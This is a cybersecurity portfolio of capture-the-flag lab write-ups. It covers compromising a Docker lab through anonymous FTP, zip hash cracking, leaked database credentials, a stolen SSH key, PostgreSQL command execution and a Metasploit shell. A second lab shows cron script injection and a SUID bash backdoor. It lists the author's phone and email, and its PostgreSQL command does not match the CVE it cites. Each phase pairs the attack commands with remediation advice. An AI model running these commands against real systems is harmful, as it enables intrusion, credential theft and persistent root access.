

TECHNICAL CYBERSECURITY PORTFOLIO

Prepared by: Ohad Cohen

Contact: +972-53-3365352 | Ohad6cohen@gmail.com

Focus: Offensive Security, Infrastructure Vulnerability Research, Privilege Escalation & Automation

EXECUTIVE SUMMARY

This portfolio demonstrates hands-on experience in penetrating enterprise-grade architectures, exploiting configuration flaws, cracking cryptographic hashes, and elevating privileges within Linux environments. The findings below are derived from advanced practical labs and CTF challenges completed with 100% success rates.

PROJECT 1: INFRABREAK LAB 01 – FULL NETWORK & APPLICATION COMPROMISE

- **Objective:** Achieve total compromise of a distributed architecture running via Docker containers.
- **Target Environment:** Localhost (127.0.0.1) / Docker Network (172.17.0.1)
- **Final Score:** 6000 / 6000 Points (Max Score)

Phase 1: Reconnaissance & Port Scanning

- **Action:** Conducted an aggressive Nmap scan to identify active network layers and service versions.
- **Command Used:** `nmap -sC -sV --top-ports=1000 127.0.0.1 -O -oN output.txt`
- **Discovered Open Ports:**
 - Port 21/tcp: FTP (vsftpd 3.0.5) - Anonymous access explicitly permitted.
 - Port 22/tcp: SSH (OpenSSH 8.9p1 Ubuntu)
 - Port 3306/tcp: MySQL (MySQL 8.0.45)
 - Port 5432/tcp: PostgreSQL (PostgreSQL DB 9.6.0 or later)
 - Port 8088/tcp: HTTP (Werkzeug httpd 3.1.8 / Python 3.10.12)
- **Remediation Advice:** Disable anonymous login on the FTP server immediately. If the service is obsolete, close Port 21 entirely.

Phase 2: FTP Anonymous Exploitation & Archive Extraction

- **Action:** Logged into the vulnerable FTP server using generic **Anonymous** credentials. Discovered a restricted **/pub** directory containing a backup archive (**db_backup_march.zip**).

- **Command Used:** `ftp 127.0.0.1 -> cd pub/backups -> get db_backup_march.zip`
- **Vulnerability Found:** The backup ZIP folder contained password-protected logs and a `flag.txt` file.

Phase 3: Password Cracking & Zip Extraction

- **Action:** Extracted the file hash from the protected zip archive and ran an automated dictionary attack utilizing the `rockyou.txt` wordlist.
- **Commands Used:**
 - `zip2john db_backup_march.zip > hash.txt`
 - `john --wordlist=/home/kali/Desktop/rockyou-master/rockyou.txt hash.txt`
- **Result:** Successfully cracked the archive password: `monkey1987`. Extracted `flag.txt` to capture **Flag 2:** `ECOM{zip_crack3d_w1th_r0cky0u}`.
- **Remediation Advice:** Enforce a strict password complexity policy for administrative archives (minimum 20 characters, integrating upper/lowercase letters, digits, and unique characters).

Phase 4: Database Analysis & Log Leakage

- **Action:** Inspected the newly unzipped `db_maintenance_2024_03.log` file. Discovered hardcoded internal credentials inside the debug data.
- **Leaked Credentials:** `user=dbadmin, password=C0rp0r4te#2024`, targeting the `internaldb` database on Port 3306.
- **Exploitation:** Logged into MySQL by client-side bypassing of SSL encryption parameters.
- **Command Used:** `mysql -u dbadmin -p -h 127.0.0.1 --ssl=0 internaldb`
- **Result:** Retrieved data from the `internal_flags` table to capture **Flag 3:** `ECOM{db_dump_succ3ssful_g00d_j0b}`.
- **Remediation Advice:** Implement strong sanitization workflows to prevent sensitive system credentials from being logged in plaintext. Restrict access permissions on log files.

Phase 5: SSH Key Theft & Permission Modification

- **Action:** Queries executed inside the exposed MySQL instance revealed an active table named `ssh_users` containing a private OpenSSH key belonging to the user `charlie`.
- **Exploitation:** Copied the private key into a local file. Initial connection failed due to overly permissive file settings (`0644`). Adjusted permissions to restrict access to the file owner only.
- **Commands Used:**
 - `echo "[PRIVATE KEY DATA]" > Charlie_key.txt`
 - `chmod 600 Charlie_key.txt`
 - `ssh -i Charlie_key.txt charlie@127.0.0.1`

- **Result:** Authenticated successfully via SSH. Captured **Flag 4:** `ECOM{ssh_k3y_fr0m_db_n1c3_w0rk}`.
- **Remediation Advice:** Private cryptographic keys must never be retained within accessible database schemas. Utilize secure credential vaults or native hardware-bound mechanisms.

Phase 6: Remote Code Execution (RCE) via PostgreSQL

- **Action:** While authenticated as `charlie`, analyzed local text files to discover a secondary hash belonging to the `pgadmin` service on Port 5432.
- **Exploitation Workflow:**
 1. Identified the hash format as RAW-MD5 and cracked it using John the Ripper (`sunshine`).
 2. Logged into the PostgreSQL service using: `psql -h 127.0.0.1 -p 5432 -U pgadmin -d postgres`.
 3. Ran `\du` and verified that `pgadmin` held **Superuser** rights.
 4. Leveraged an authenticated RCE vulnerability (**CVE-2019-9193** - COPY FROM PROGRAM Command Execution) to write and read files from arbitrary system directories.
- **Command Used:** `COPY (SELECT pg_read_file('flag.txt')) TO '/tmp/flag5.txt';`
- **Result:** Captured **Flag 5:** `ECOM{rce_v1a_cve_2019_9193_pwned}`.
- **Remediation Advice:** Upgrade PostgreSQL to a safe, modern release. Disable or strictly lock down the `COPY FROM PROGRAM` capability to trusted administrative administrators only.

Phase 7: Automated Root Exploitation via Metasploit

- **Action:** Automated the post-exploitation stage utilizing the Metasploit Framework to pivot to high-privilege access.
 - **Commands Used:**
 - `msfconsole -> use exploit/multi/postgres/postgres_copy_from_program_cmd_exec`
 - Configured payload parameters (`SET RHOSTS 127.0.0.1`, `SET USERNAME pgadmin`, `SET PASSWORD sunshine`, `SET LHOST 172.17.0.1`).
 - Executed `exploit` to drop a high-privilege interactive shell.
 - **Result:** Checked current environment context using `sudo -l`. Discovered that the `postgres` user had permissions to execute `/bin/bash` with **NOPASSWD** context. Running `sudo /bin/bash` yielded instant root control. Navigated to the `/root` folder to extract **Flag 6:** `ECOM{r00t_0wn3d_infrabreak_01_gg}`.
 - **Remediation Advice:** Never assign root-level shell access (`/bin/bash`) within sudoers files without requiring explicit password validation.
-

PROJECT 2: LINUX PRIVILEGE ESCALATION LAB (JACK DANIELS)

- **Objective:** Analyze an isolated containerized environment, evaluate system scripts, exploit misconfigured automation jobs, and escalate an unprivileged user profile to absolute Root.

Reconnaissance & Local Enumeration

- **Action:** Built and initialized the sandbox testing layer inside a clean Docker image. Logged in as the low-privilege user *daniels*.
- **Commands Used:** *docker build -t chall . -> docker run -it chall bash*
- **Vulnerability Analysis:** Enumerated user directories and found two highly permissive bash files in */home/jack/scripts/user_scripts*. Both scripts possessed globally writable (*777*) access properties.
- **Exploitation:** Inspected *admin_script.sh* and observed it running directly via an automated administrative root *crontab* task.

Malicious Modification & Root Access

- **Action:** Leveraged the write permissions on the automated script to inject code capable of appending user roles to the local *sudo* matrix, followed by staging a binary SUID shell backdoor.
- **Script Injection Strategy:**
 1. Modified *admin_script.sh* to trigger: *usermod -aG sudo daniels*. Verified inclusion via */etc/group*.
 2. Staged a persistent SUID root bash structure in a readable temporary layout:
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
 3. Executed the SUID structure with persistent privilege attributes:
/tmp/rootbash -p.
- **Result:** Achieved full system root capabilities successfully.
- **Remediation Advice:** Rigorously audit file permissions across administrative directories. Script sequences invoked via root cronjobs must never allow standard users write or modify access attributes.